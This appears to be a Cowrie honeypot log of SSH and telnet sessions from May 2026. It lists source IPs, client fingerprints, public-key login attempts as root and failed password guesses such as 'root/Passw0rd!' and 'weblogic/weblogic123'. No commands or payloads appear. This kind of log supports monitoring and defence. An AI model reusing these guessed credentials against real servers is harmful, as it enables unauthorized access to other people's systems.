{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:c5:db:7d:33:88:1e:2b:9a:73:53:2c:57:82:3b:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1Jj32h2NoEbVypMBCUtJbYhA3IFR6erSrNRWezKei4vgt67HcHZEoFl6sgFuGa9jNpgmCcT8Tl4TJ3pQfewnkuku+wIiqDdD1iiv+B+XxT/NIYEWX22HS8BZarXZPgKOr52spoB+QC0lZUzcF0E4uu2O3qqcn4eSlrf44wN+KodH2CRfBTB9+o/Kp++5/bZmp+iUy+dFGG/qWds0RX4OgOcnnigv0vBAt/spFEobAxE09ycYLEkRKVDLMu10kjUlIn4DUhrX2aYGrLVH7KARumB9bQq22MWNpXkkoLw7zQnvS+mpRzzQl91ZiEWKm14jGk5/UosRnecmVe2RagI0V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:c5:db:7d:33:88:1e:2b:9a:73:53:2c:57:82:3b:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:40.361949Z","src_ip":"185.255.100.230","session":"3dea504be37d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:c5:db:7d:33:88:1e:2b:9a:73:53:2c:57:82:3b:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1Jj32h2NoEbVypMBCUtJbYhA3IFR6erSrNRWezKei4vgt67HcHZEoFl6sgFuGa9jNpgmCcT8Tl4TJ3pQfewnkuku+wIiqDdD1iiv+B+XxT/NIYEWX22HS8BZarXZPgKOr52spoB+QC0lZUzcF0E4uu2O3qqcn4eSlrf44wN+KodH2CRfBTB9+o/Kp++5/bZmp+iUy+dFGG/qWds0RX4OgOcnnigv0vBAt/spFEobAxE09ycYLEkRKVDLMu10kjUlIn4DUhrX2aYGrLVH7KARumB9bQq22MWNpXkkoLw7zQnvS+mpRzzQl91ZiEWKm14jGk5/UosRnecmVe2RagI0V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:40.365848Z","src_ip":"185.255.100.230","session":"3dea504be37d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:6e:35:7b:84:54:93:a0:e6:88:01:7f:e5:e5:a3:32","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILHBhuQBD3L+9+N4f8wf9fdgaL0qo2ADKd4eUphseY+w","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 62:6e:35:7b:84:54:93:a0:e6:88:01:7f:e5:e5:a3:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:40.372778Z","src_ip":"185.255.100.230","session":"3dea504be37d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:6e:35:7b:84:54:93:a0:e6:88:01:7f:e5:e5:a3:32","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILHBhuQBD3L+9+N4f8wf9fdgaL0qo2ADKd4eUphseY+w","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:40.375882Z","src_ip":"185.255.100.230","session":"3dea504be37d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:8d:3e:41:09:1f:b4:56:e9:03:ce:2a:09:84:4c:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTAXlB7YRgrhUq9zh9WPaMg5a0o5s/+jGrjpC1oNt85WyPL7oJJl888SLr0uLKuzI9hy4I38709KbU3QR6Aa/uTWuG9BtaOmMaAzPm2VVZ0XpAdlM7QpJO3+Ac446dOrpkAHJjpcpi2AxU8+7vT5y6IDPybVfDDY7BniKLl2nqmCBB3815atv4eZT6wh0GVpHR9QrcSmvURuQ8AO3SpVy0yYXW90Az0hcx508vqtVI25PJ7fJFCAWoKYYbl0BDH9NtdItugun5EhMiR2EINmK30BpzzjpWhKJxI6PpIVqK1mmfFOefTnnomRBkLR1MKWSMop+EuCOvXdONPdhYmq/A8BEooqHHp2yniiEVm02QEev/L7nKlcRceAZFReZmcaFs0dyJcTAEVDICVmoVaquoyGrqsmHC8GgB0Jsv+OAmwE8mdN2XtylsYJBYb0zd9UHhD/hHZnABpLkguAr+kCLWZFmj3YGxlvmQJdmB5Uc4Bl42901U3OEpY3jSNDZO8u8GJg1n8FMvjI+w4892WW59/MgQc8i8ZZELkxRlrSiZChf1+MN+SJQD6LrFXnWxIEgmeu2F9v3+f+AfeTfgqglMBqxB6mVfGkdQ5rR6Ua+Hpz8pWwdWIhb9SZCVv81a/b4PxJRXHp6O/5Zuof9UPBpSFQtzPTNgJwrzJLO4DfePoQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c0:8d:3e:41:09:1f:b4:56:e9:03:ce:2a:09:84:4c:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:40.382871Z","src_ip":"185.255.100.230","session":"3dea504be37d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:8d:3e:41:09:1f:b4:56:e9:03:ce:2a:09:84:4c:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTAXlB7YRgrhUq9zh9WPaMg5a0o5s/+jGrjpC1oNt85WyPL7oJJl888SLr0uLKuzI9hy4I38709KbU3QR6Aa/uTWuG9BtaOmMaAzPm2VVZ0XpAdlM7QpJO3+Ac446dOrpkAHJjpcpi2AxU8+7vT5y6IDPybVfDDY7BniKLl2nqmCBB3815atv4eZT6wh0GVpHR9QrcSmvURuQ8AO3SpVy0yYXW90Az0hcx508vqtVI25PJ7fJFCAWoKYYbl0BDH9NtdItugun5EhMiR2EINmK30BpzzjpWhKJxI6PpIVqK1mmfFOefTnnomRBkLR1MKWSMop+EuCOvXdONPdhYmq/A8BEooqHHp2yniiEVm02QEev/L7nKlcRceAZFReZmcaFs0dyJcTAEVDICVmoVaquoyGrqsmHC8GgB0Jsv+OAmwE8mdN2XtylsYJBYb0zd9UHhD/hHZnABpLkguAr+kCLWZFmj3YGxlvmQJdmB5Uc4Bl42901U3OEpY3jSNDZO8u8GJg1n8FMvjI+w4892WW59/MgQc8i8ZZELkxRlrSiZChf1+MN+SJQD6LrFXnWxIEgmeu2F9v3+f+AfeTfgqglMBqxB6mVfGkdQ5rR6Ua+Hpz8pWwdWIhb9SZCVv81a/b4PxJRXHp6O/5Zuof9UPBpSFQtzPTNgJwrzJLO4DfePoQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:40.385906Z","src_ip":"185.255.100.230","session":"3dea504be37d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:81:d2:56:bc:ee:83:d3:ab:8e:4e:c7:5a:77:bd:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqSH/DY62RCpndV0f4UYF8s3rVcF46TgnRQI5vPMu/l3h967k7lixwfHiTZfZQMzm71gDRTw2FNdtEO3R3LvffT3QL6oXGAHeg6ebKFkpTthT+5sApNDNKaaRDgweURsOM/RwAQ0Ha7+5HX3psKbRzJydPMFE1FV8NUjwWs/awnCIrHRp3ZHc5Rz5Q/E9JvBux4Xj7ziU37vxp4jb2g/cxCg3JIA/f19AUKAoLUA+mKptm4OjPDqCatc0ij7dwygiLi3Ep8g8nenAAJwyeNY9a3F9O19NKn7J9dSU4Ha/rRuIUQXFGlQ/wtA4ImhQqrPIOnR+MGcJPOrkHSyKOGZa7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:81:d2:56:bc:ee:83:d3:ab:8e:4e:c7:5a:77:bd:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:40.395856Z","src_ip":"185.255.100.230","session":"3dea504be37d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:81:d2:56:bc:ee:83:d3:ab:8e:4e:c7:5a:77:bd:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqSH/DY62RCpndV0f4UYF8s3rVcF46TgnRQI5vPMu/l3h967k7lixwfHiTZfZQMzm71gDRTw2FNdtEO3R3LvffT3QL6oXGAHeg6ebKFkpTthT+5sApNDNKaaRDgweURsOM/RwAQ0Ha7+5HX3psKbRzJydPMFE1FV8NUjwWs/awnCIrHRp3ZHc5Rz5Q/E9JvBux4Xj7ziU37vxp4jb2g/cxCg3JIA/f19AUKAoLUA+mKptm4OjPDqCatc0ij7dwygiLi3Ep8g8nenAAJwyeNY9a3F9O19NKn7J9dSU4Ha/rRuIUQXFGlQ/wtA4ImhQqrPIOnR+MGcJPOrkHSyKOGZa7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:40.399732Z","src_ip":"185.255.100.230","session":"3dea504be37d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:40.409683Z","src_ip":"185.255.100.230","session":"3dea504be37d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.64112067222595,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:46.033450Z","src_ip":"152.42.224.71","session":"b9f7e610893c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38130,"dst_ip":"10.17.0.5","dst_port":23,"session":"69e82313c646","protocol":"telnet","message":"New connection: 152.42.224.71:38130 (10.17.0.5:23) [session: 69e82313c646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:46.422913Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39530,"dst_ip":"159.203.135.109","dst_port":22,"session":"51cb5d99fa77","protocol":"ssh","message":"New connection: 31.40.204.166:39530 (159.203.135.109:22) [session: 51cb5d99fa77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:48.322640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:48.403069Z","src_ip":"31.40.204.166","session":"51cb5d99fa77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:48.489459Z","src_ip":"31.40.204.166","session":"51cb5d99fa77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38144,"dst_ip":"10.17.0.5","dst_port":23,"session":"c95532b88823","protocol":"telnet","message":"New connection: 152.42.224.71:38144 (10.17.0.5:23) [session: c95532b88823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:48.625774Z"}
{"eventid":"cowrie.session.closed","duration":28.301025867462158,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:48.967581Z","src_ip":"152.42.224.71","session":"a13c5db0343d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic123","message":"login attempt [weblogic/weblogic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:49.106744Z","src_ip":"31.40.204.166","session":"51cb5d99fa77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.45483469963074,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:49.160471Z","src_ip":"152.42.224.71","session":"93642f9efc39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":54886,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0defc8d046e","protocol":"ssh","message":"New connection: 43.156.96.97:54886 (10.17.0.5:22) [session: a0defc8d046e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:49.585501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:49.590122Z","src_ip":"43.156.96.97","session":"a0defc8d046e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:49.827433Z","src_ip":"43.156.96.97","session":"a0defc8d046e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:50.301107Z","src_ip":"31.40.204.166","session":"51cb5d99fa77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd!","message":"login attempt [root/Passw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:50.808060Z","src_ip":"43.156.96.97","session":"a0defc8d046e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38146,"dst_ip":"10.17.0.5","dst_port":23,"session":"0201d96cb8aa","protocol":"telnet","message":"New connection: 152.42.224.71:38146 (10.17.0.5:23) [session: 0201d96cb8aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:50.877325Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:52.048924Z","src_ip":"43.156.96.97","session":"a0defc8d046e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38152,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e40782727f1","protocol":"telnet","message":"New connection: 152.42.224.71:38152 (10.17.0.5:23) [session: 5e40782727f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:53.895012Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38164,"dst_ip":"10.17.0.5","dst_port":23,"session":"26a5c1608840","protocol":"telnet","message":"New connection: 152.42.224.71:38164 (10.17.0.5:23) [session: 26a5c1608840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:55.589488Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":38014,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6ea0b51bba8","protocol":"ssh","message":"New connection: 190.85.41.170:38014 (10.17.0.5:22) [session: c6ea0b51bba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:55.855992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:55.864521Z","src_ip":"190.85.41.170","session":"c6ea0b51bba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:55.870082Z","src_ip":"47.237.167.49","session":"6d0a37e713c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:55.937079Z","src_ip":"190.85.41.170","session":"c6ea0b51bba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jasper123","message":"login attempt [root/jasper123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:56.260046Z","src_ip":"190.85.41.170","session":"c6ea0b51bba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":38964,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd3fa97ea3f3","protocol":"ssh","message":"New connection: 170.106.159.59:38964 (10.17.0.5:22) [session: cd3fa97ea3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:56.593987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:56.598708Z","src_ip":"170.106.159.59","session":"cd3fa97ea3f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:56.667518Z","src_ip":"170.106.159.59","session":"cd3fa97ea3f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ramon123","message":"login attempt [root/ramon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:56.975632Z","src_ip":"170.106.159.59","session":"cd3fa97ea3f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:57.334025Z","src_ip":"190.85.41.170","session":"c6ea0b51bba8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:58.047691Z","src_ip":"170.106.159.59","session":"cd3fa97ea3f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.4","message":"Connection lost after 34.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:58.676133Z","src_ip":"47.237.167.49","session":"6d0a37e713c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.61126160621643,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:58.721308Z","src_ip":"152.42.224.71","session":"02fab5d71991","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49060,"dst_ip":"10.17.0.5","dst_port":23,"session":"57875cd365f0","protocol":"telnet","message":"New connection: 152.42.224.71:49060 (10.17.0.5:23) [session: 57875cd365f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:59.751373Z"}
{"eventid":"cowrie.session.closed","duration":112.08624601364136,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:59.811033Z","src_ip":"152.42.224.71","session":"355524b1f701","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":114.11394214630127,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:59.816569Z","src_ip":"152.42.224.71","session":"302e6b036208","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49070,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3b630cf63a6","protocol":"telnet","message":"New connection: 152.42.224.71:49070 (10.17.0.5:23) [session: c3b630cf63a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:00.992920Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38582,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1d412056c9a","protocol":"ssh","message":"New connection: 31.40.204.166:38582 (159.203.135.109:22) [session: d1d412056c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:01.222474Z"}
